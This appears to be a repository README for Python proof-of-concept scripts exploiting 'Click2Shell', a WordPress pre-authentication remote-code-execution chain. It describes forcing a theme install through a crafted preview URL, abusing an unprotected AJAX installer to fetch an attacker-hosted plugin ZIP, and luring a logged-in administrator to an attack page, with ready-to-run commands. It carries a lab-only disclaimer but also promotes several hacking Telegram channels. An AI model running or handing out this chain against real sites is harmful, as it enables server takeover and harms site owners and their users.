Python proof-of-concept scripts for Click2Shell, the WordPress pre-authentication remote-code-execution chain publicly disclosed by the pwn.ai research team (pwn.ai/blog/click2shell, disclosed September 18, 2026).
⚠️ Lab use only. Test exclusively against isolated WordPress installations you own or are explicitly authorized to test. The Core issue is patched in WordPress 7.1.1 (released September 17, 2026) — verify your lab target runs a vulnerable version (< 7.1.1).
- Private Channel: https://t.me/+gsrpvshwGUc5MzI0
- Public Channel: https://t.me/LinxProdXs404
- Group: @ulp_CLOUD1
- DM: @HackfutS3c
Click2Shell chains three primitives into full pre-auth RCE against WordPress Core:
- Theme-preview selector injection (WordPress Core < 7.1.1). A crafted theme-preview URL causes a logged-in administrator's browser to install an official WordPress.org catalog theme — no "Install" click required.
- Pre-activation PHP loading via the Customizer. Theme code is loaded before the theme is ever activated, so attacker-influenced theme PHP runs inside the victim's session.
- Unprotected AJAX plugin installer (Mobile Repair Zone ≤ 2.5.4). The theme exposes an AJAX endpoint that installs an arbitrary plugin ZIP from a URL without proper capability checks, leading to PHP execution on the server.
| File | What it does |
|---|---|
click2shell_poc.py |
Full chain: serves the attack page, stages the plugin ZIP, and walks through theme install → AJAX plugin install → RCE marker |
click2shell_forced_install_poc.py |
Standalone demo of primitive #1 — force-installs a catalog theme through the selector-injection URL |
click2shell_ajax_installer_poc.py |
Standalone demo of primitive #3 — drives the theme's unprotected AJAX installer to install a plugin ZIP |
Requirements: Python 3 (only the standard library — no extra packages).
# 1. Force-install a theme via the crafted preview URL (primitive #1)
python3 click2shell_forced_install_poc.py --target http://wp-lab.local \
--theme twentytwenty --lhost 192.168.1.10 --lport 8001 --verify
# 2. Use the theme's AJAX installer to install a plugin ZIP (primitive #3)
python3 click2shell_ajax_installer_poc.py --target http://wp-lab.local \
--theme mobile-repair-zone \
--cookie "wordpress_logged_in_xxx=..." \
--package http://192.168.1.10:8000/proof.zip --serve-zip
# 3. Full chain
python3 click2shell_poc.py --target http://wp-lab.local \
--lhost 192.168.1.10 --lport 8000 --theme mobile-repair-zone
# then have the logged-in admin visit http://192.168.1.10:8000/Key options:
--target— base URL of your lab WordPress install--theme— catalog theme slug to install / vulnerable theme slug--lhost/--lport— interface and port the PoC serves its attack page / ZIP on--cookie— any logged-in user'sCookieheader value (for the AJAX primitive)--package— URL of the plugin ZIP the theme should fetch and install--verify/--serve-zip/--stage2— helper flags, see--helpon each script
- The attack page tricks the admin's browser into loading a theme-preview URL carrying the selector-injection payload. WordPress installs the catalog theme automatically.
- The Customizer pre-activation load pulls the theme's PHP into the request lifecycle before activation.
- The theme's AJAX handler (
admin-ajax.php) is called with apackageURL; lacking capability checks, it downloads and installs the attacker's plugin ZIP. - The unpacked plugin's PHP executes as the WordPress server user — remote code
execution. The bundled proof plugin only runs
id-style markers and cleans up.
The disclosure's code blocks did not render in the copy of the article these PoCs
were reconstructed from, so the exact selector-injection strings and AJAX
action/parameter names are marked as templates in the scripts (SELECTOR_PAYLOAD,
AJAX_ACTION). Copy the verbatim strings from the original article into those
constants before running against your lab.
- Research & disclosure: the pwn.ai research team — Click2Shell: WordPress Pre-Auth RCE
- Prior related work: pwn.ai's XSS2Shell chain (CVE-2026-64638) and Paulos Yibelo's Same-Origin Method Execution (SOME) technique
- PoC scripts in this repo are independent reconstructions for lab/educational use.
- Disclosure: https://pwn.ai/blog/click2shell
- Patch: WordPress 7.1.1 (September 17, 2026)
- Related: https://pwn.ai/blog/xss2shell
- Telegram Channel: https://t.me/LinxProdXs404
- Telegram Private: https://t.me/+gsrpvshwGUc5MzI0
- Telegram Group: @ulp_CLOUD1
- Telegram DM: @HackfutS3c